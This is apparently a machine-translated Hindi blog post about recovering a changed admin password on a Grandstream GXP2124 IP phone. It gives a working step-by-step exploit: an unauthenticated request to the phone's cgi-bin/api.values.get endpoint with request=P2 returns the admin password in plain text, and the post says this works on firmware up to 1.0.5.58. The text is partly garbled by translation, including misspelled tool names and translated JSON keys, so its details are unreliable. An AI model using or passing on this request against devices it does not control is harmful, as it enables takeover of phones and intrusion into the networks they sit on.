फोन में प्रशासक का पता लगाएं Grandstream GXP2124

आज मैं एक समस्या में भाग गया: किसी ने फोन के लिए व्यवस्थापक पासवर्ड बदल दिया। नेटवर्क पर जानकारी पढ़ने के बाद, मैंने निष्कर्ष निकाला कि:

• व्यवस्थापक पासवर्ड बदलें; व्यवस्थापक पासवर्ड की आवश्यकता है;
• फोन को फ़ैक्टरी सेटिंग्स पर रीसेट करें, आपको एक व्यवस्थापक पासवर्ड की आवश्यकता है;
• रिफ़्लैश फ़ोन - फिर से उस गुम हुए पासवर्ड की ज़रूरत है ...

इस स्थिति से बाहर निकलने का रास्ता कैसे खोजा जाए? हाँ आसान!
पासवर्ड को "पहचान" करने के लिए, मैंने सबसे आम Google क्रोम ब्राउज़र का उपयोग किया है जिसमें Furebug घटकों को स्थापित किया गया है, साथ ही एक और ग्रैंडस्ट्रीम GXP2124 फोन है, जिसकी पहुंच मेरे पास है।


इसके अलावा, कार्रवाई का तरीका इस प्रकार था:

हम ब्राउज़र लॉन्च करते हैं और फायरबग उपयोगिता को चालू करते हैं, जिसके बाद हम विभिन्न पृष्ठों पर "चलना" शुरू करते हैं। अनुरोध सूची में निम्नलिखित पाया गया:

POST cgi-bin / api.values.get

और जवाब के शरीर में सूचीबद्ध है:

{"रिस्पांस": "सफलता", "बॉडी": {"वेंडर_फुल नाम": "ग्रैंडस्ट्रीम नेटवर्क, इंक।"}

आगे स्क्रॉल करते हुए, मुझे ऐसा अनुरोध मिला:

POST cgi-bin / api-phone_operation

जिसके अनुरोध में पैरामीटर पारित किए गए थे:

cmd = विस्तार और arg = & sid = 639534b3e5a

आगे क्या? और फिर मैं सुरक्षा सेटिंग्स पर जाता हूं और फोन पर पासवर्ड बदलता हूं, जिसकी मेरे पास पहले से ही पहुंच है और उत्तरों की सूची देखें:

POST cgi-bin / api.values.post
स्रोत:
P2 = MyNewPass और: confirmAdminPwd = MyNewPass और sid = 639534bbeea

जहां:

• P2 - प्रेषित व्यवस्थापक पासवर्ड;
• confirmAdminPwd - व्यवस्थापक पासवर्ड की पुष्टि;
• सिड - वर्तमान सत्र (यह हमारे लिए उपयोगी नहीं होगा)।

आगे, कल्पना दिखाने के बाद, हम फॉर्म का अनुरोध करते हैं:

192.168.1.253/cgi-bin/api.values.get?request=P2

जहाँ 192.168.1.253 फ़ोन का IP पता है।

भेजने और ...

... और हमें फॉर्म का JSON प्रतिसाद मिला:

{"प्रतिक्रिया": "सफलता", "शरीर": {"P2": "adminPass"}}

जहाँ adminPass वर्तमान व्यवस्थापक पासवर्ड है।

लाभ!

सादर, एंड्री हेलडर!

PS: उपरोक्त चिप 1.0.5.58 तक फर्मवेयर संस्करणों पर काम करती है
यह विशेष रूप से सॉफ्टवेयर संस्करण 1.0.5.23 पर परीक्षण किया गया था